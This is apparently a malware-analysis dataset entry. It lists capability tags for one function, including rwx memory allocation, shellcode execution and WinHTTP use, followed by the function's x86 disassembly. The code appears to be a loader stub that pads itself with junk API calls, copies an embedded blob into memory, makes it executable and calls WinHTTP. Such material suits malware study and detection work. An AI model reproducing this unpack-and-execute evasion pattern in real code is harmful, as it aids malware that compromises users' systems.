Function at 0x405f2f
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via windows callback function
Initialize winhttp library
Read file on windows
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
push ebx
push esi
xor ebx, ebx
cmp dword [0x8bed28], 0x5b1
push edi
jne 0x405fb4
push ebx
lea eax, [ebp - 0xc28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
push ebx
call fcn.00406f67
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.00406c7a
add esp, 0x10
lea esi, [ebp - 0x14]
call fcn.00405bb0
mov ecx, esi
call fcn.00405bd0
push ebx
call fcn.00406891
pop ecx
push ebx
call fcn.0040687b
pop ecx
push ebx
push ebx
call fcn.004064a3
pop ecx
pop ecx
push ebx
call fcn.004072f0
add dword [0x8bed28], 0x1134b
push dword [0x8bed28]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x8bdc7c], eax
mov esi, 0x1e6cc
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x405fd5
lea eax, [ebp - 0x28]
push eax
push 0x40
push dword [0x8bed28]
push dword [0x8bdc7c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x40602e
inc edi
cmp edi, 0x4f6a4
jl 0x406010
xor edi, edi
cmp dword [0x8bed28], ebx
jbe 0x406080
cmp dword [0x8bed28], 0xa8
mov eax, dword [0x8bed2c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8bdc7c]
mov byte [ecx + edi], al
jne 0x406077
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x405900
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc edi
cmp edi, dword [0x8bed28]
jb 0x406038
xor esi, esi
mov eax, dword [0x8bed28]
add eax, esi
cmp eax, 0xe
jne 0x4060f7
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x405934
push 0x405940
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
lea eax, [ebp - 0xc28]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [ebp - 0x18], ax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x428]
push eax
push 0x405950
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
inc esi
cmp esi, 0x39621
jl 0x406082
call fcn.00405e5a
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x406118
call fcn.00405f15
inc edi
cmp edi, 0x6753f
jl 0x406107
push 0x7b
pop esi
cmp dword [0x8bed28], 0x86
jne 0x406195
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebx
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x828]
push eax
push ebx
push 0x405988
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x406124
push 0x4059c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
leave
ret